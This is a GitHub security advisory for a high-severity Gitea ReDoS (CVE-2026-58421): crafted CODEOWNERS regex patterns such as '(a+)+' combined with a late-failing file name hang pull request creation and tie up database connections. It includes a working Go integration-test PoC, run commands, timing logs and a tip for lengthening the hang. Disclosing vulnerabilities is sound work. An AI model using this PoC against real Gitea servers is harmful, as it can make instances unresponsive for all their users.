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Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

High severity GitHub Reviewed Published Jul 1, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

<= 1.26.2

Patched versions

1.26.4

Description

This issue has been found by a security agent and review by myself.

Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.

Who can trigger it

Any registered user on the instance. The attacker needs only:

  1. A repository they own (created via normal signup)
  2. A CODEOWNERS file on the default branch containing malicious patterns
  3. A pull request branch containing a file with a crafted name

No elevated permissions, no admin access, no existing repositories required.

How it is triggered

The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.

Impact

Every pull request creation runs this evaluation inside a database transaction. A
hung evaluation holds that transaction open, tying up a database connection for
the entire duration. With 11 rules in the CODEOWNERS file, a single pull request
creation request takes over 30 seconds. An attacker opening multiple pull
requests in parallel can exhaust the database connection pool, making the Gitea
instance unresponsive to all users.

Root cause

The vulnerable regex is here:

https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886

PoC

Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.

This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.

tests/integration/pull_redos_test.go

package integration

// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
//   -> routers/api/v1/repo/pull.go:CreatePullRequest
//   -> pull.NewPullRequest (services/pull/pull.go)
//   -> db.WithTx                              <- holds DB connection for duration of hang
//     -> issues_model.NewPullRequest          <- inserts PR into DB
//     -> PullRequestCodeOwnersReview          <- evaluates CODEOWNERS
//       -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
//   - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
//   - PR changed file:    "aaa...X" forces O(2^N) backtracking states

import (
	"fmt"
	"net/http"
	"net/url"
	"strings"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	user_model "gitea.dev/models/user"
	"gitea.dev/models/unittest"
	"gitea.dev/modules/git"
	api "gitea.dev/modules/structs"
	repo_service "gitea.dev/services/repository"
	files_service "gitea.dev/services/repository/files"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, u *url.URL) {
		user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

		repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
			Name:             "redos-codeowners",
			Readme:           "Default",
			AutoInit:         true,
			ObjectFormatName: git.Sha1ObjectFormat.Name(),
			DefaultBranch:    "main",
		}, true)
		require.NoError(t, err)

		// Push malicious CODEOWNERS to the default branch.
		// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
		// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
		// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
		var codeowners strings.Builder
		for range 11 {
			codeowners.WriteString("(a+)+ @user2\n")
		}
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			OldBranch: repo.DefaultBranch,
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      "CODEOWNERS",
					ContentReader: strings.NewReader(codeowners.String()),
				},
			},
		})
		require.NoError(t, err)

		// Create a PR branch containing a file whose path is a late-failing input
		// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
		// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
		maliciousFilename := strings.Repeat("a", 25) + "X"
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			NewBranch: "attack",
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      maliciousFilename,
					ContentReader: strings.NewReader("x"),
				},
			},
		})
		require.NoError(t, err)

		// Obtain an API token for user2 and submit the PR creation request.
		// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
		// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
		// connection for the duration of the backtracking hang.
		session := loginUser(t, user2.Name)
		token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)

		start := time.Now()
		req := NewRequestWithJSON(t, http.MethodPost,
			fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
			&api.CreatePullRequestOption{
				Title: "ReDoS PoC",
				Head:  "attack",
				Base:  repo.DefaultBranch,
			},
		).AddTokenAuth(token)
		MakeRequest(t, req, http.StatusCreated)
		elapsed := time.Since(start)

		t.Logf("pull.NewPullRequest completed in %s", elapsed)
		assert.Greater(t, elapsed, 25*time.Second,
			"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
	})
}

Now run:

# 1. Build the binary (needed for git hooks during repo creation)
make build

# 2. Run the test
go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/

When the unit test starts, you should see that it takes 30 seconds with the following output:

=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
PASS

You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:

		for range 11 {
			codeowners.WriteString("(a+)+ @user2\n")
		}

A higher number of lines will increase the execution time.

References

@lunny lunny published to go-gitea/gitea Jul 1, 2026
Published by the National Vulnerability Database Jul 3, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(25th percentile)

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-58421

GHSA ID

GHSA-v96j-25gv-g2w9

Source code

Credits

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